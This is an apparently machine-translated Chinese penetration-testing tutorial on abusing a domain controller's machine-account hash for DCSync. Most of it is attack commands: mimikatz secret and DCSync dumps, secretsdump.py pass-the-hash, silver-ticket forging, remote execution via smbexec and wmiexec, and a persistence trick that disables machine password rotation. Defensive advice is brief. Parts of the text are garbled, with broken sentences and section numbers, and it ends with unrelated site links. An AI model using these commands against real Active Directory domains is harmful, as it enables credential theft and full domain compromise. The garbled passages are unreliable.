0x00前言上一篇《域渗透——DCSync》中提到了使用DCSync的条件:访问以下任一用户:Administrators组用户DomainAdmins组用户·EnterpriseAdmins组用户·域控计算机账户本文将对上一篇文章中未提及的最后一种利用方法进行补充,介绍如何通过域控计算机账户密码哈希实现DCSync。0x01Introduction本文将介绍以下内容:MachineAccount简介如何获取MachineAccount的密码hash使用MachineAccount实现DCSyncDefensedetection机器账户的密码存放在注册表这个位置:HKLM\SECURITY\Policy\Secrets\$机.ACC。如果计算机加入域,则计算机帐户的密码将同步到域控制器并保存在域控制器的NTDS.dit文件中。计算机账户密码默认每30天自动更新一次,密码长度为120个字符。因此,即使得到了计算机账号密码的哈希值,也很难还原出计算机账号的明文密码。关闭当前电脑账户密码自动更新的方法有两种(适用于工作组):1、修改组策略组策略位置:ComputerConfiguration\WindowsSettings\SecuritySettings\LocalPolicies\SecurityOptions\如下图:未启用默认情况下,如果设置为启用,密码更新将停止。参考:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10)2.直接修改registry注册表位置:HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\将DisablePasswordChange的值设置为1。关闭域内计算机帐号密码自动更新的方法有两种(适用于域网络):1、修改组策略这里需要修改域组策略。在域控制器上打开组策略管理后,选择默认域策略。如下图所示:组策略位置:ComputerConfiguration\WindowsSettings\SecuritySettings\LocalPolicies\SecurityOptions\2。修改组策略的配置文件。DefaultDomainPolicy对应的GUID为31B2F340-016D-11D2-945F-00C04FB984F9。环境中,路径对应:\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\WindowsNT\SecEdit修改文件GptTmpl.inf,在【RegistryValues】中新增内容:MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1如下图:强制域控制器更新组策略,命令如下:gpupdate/force配置完成,系统时间会调整得更快God,hash保持不变。0x03获取MachineAccount密码hash的方法1.通过注册表文件导出当前电脑账号的密码hashmimikatz命令示例:privilege::debugtoken::elevatesadump::secrets返回的结果中$machine.ACC项对应到电脑账户,如下图:其他从注册表导出的方法,请参考上篇文章《渗透技巧——通过SAM数据库获得本地用户hash》2。使用DCSync导出所有计算机账户的密码hash(1)在域控制器上使用mimikatz导出域内所有用户的hash。示例命令:mimikatz。exe"lsadump::dcsync/domain:test.com/all/csv"退出$字符以计算机帐户结尾的位置。其他环境下的使用请参考之前的文章《域渗透——DCSync》。(2)secretsdump.py的使用需要安装Python环境和Impacket包。在实际使用中,可以将Python代码编译成exe文件。命令示例:pythonsecretsdump.pytest/Administrator:DomainAdmin123!@192.168.1.1secretsdump.py与mimikatz相比,最大的优势在于支持域外计算机连接域控制器。secretsdump.py的实现原理:利用计算机账号密码hash通过smbexec或wmiexec远程连接域控并获得高权限,然后从注册表中导出本地账号的hash,通过Dcsync或from导出allNTDS.dit文件域用户哈希。3、通过漏洞CVE-2020-1472参考:https://www.secura.com/pathtoimg.php?id=2055CVE-2020-1472可以在非授权状态下远程修改目标电脑账号的密码哈希。注意:CVE-2020-1472只能修改保存在域控制器NTDS.dit文件中的计算机账户哈希,不能修改保存在注册表中的本地计算机账户哈希。当域控制器中的NTDS.dit文件与注册表文件中的计算机帐户密码哈希不同步时,可能会影响系统的正常功能。0x04使用MachineAccount实现DCSync例如我们获取到域控制器DC1的计算机账户密码hash为7da530fba3b15a2ea21ce7db8110d57b。1、使用mimikatz需要先制作一张SilverTicket,然后获取LDAP服务的访问权限。详情请参考之前的文章《域渗透——Pass The Ticket》。命令示例:mimikatz"kerberos::golden/domain:test.com/sid:S-1-5-21-254706111-4049838133-2416586677/target:DC1.test.com/service:LDAP/rc4:7da530fba3b15a2ea21ce7db8110d57b/user:krbtgt/ptt""lsadump::dcsync/domain:test.com/all/csv"exit详细需要注意以下几个方面:只能在域内的电脑上运行,不支持域外./sid表示域的sid。方法可以参考上一篇文章《渗透基础——活动目录信息的获取》·/rc4表示电脑账号的NTLMhash·/user:krbtgt表示伪造用户krbtgt并生成ticket注:获取域sid的简单方法。任何域用户的sid减去最后一位就是域的sid。2、secretsdump命令使用示例:pythonsecretsdump.py-hashes:7da530fba3b15a2ea21ce7db8110d57btest/DC1$@192.168.1.1具体来说需要注意以下几个方面:Secretsdump支持域外计算机连接域控制器。如果使用域内普通电脑账号的密码hash连接对应电脑,则连接失败,提示rpc_s_access_denied·可以通过wmiexec.py或smbexec.py远程执行cmd命令命令示例:pythonsmbexec.py-hashes:7da530fba3b15a2ea21ce7db8110d57btest/DC1$@192.168.1.1whoami/privpythonwmiexec.py-hashes:7da530fba3b15a2ea21ce7db8110d57btest/DC1$@192.168.1.1whoami/priv0x注:使用计算机账号具有高权限的防御方法如下图5:检测DCSync后门可以参考《域渗透——DCSync》从防御的角度来说,如果域管理员的权限在试图踢出攻击者的过程中,攻击者不仅需要修改域管理员用户的密码,而且还需要更新计算器账户的密码哈希,检查域组策略是否配置了启用DisablePasswordChange0x06。控制者计算机账号密码哈希实现DCSync方法,分析利用思路,给出防御建议。【小编推荐】Linux终端如何连接WiFi?Netflix产品Spinnaker微服务实践分析如何在Docker容器中运行Docker“3种方式”美国“禁令”周日生效:TikTok坚持诉讼,微信企业海外版悄然改名使用用于管理SSH连接的开源工具nccm
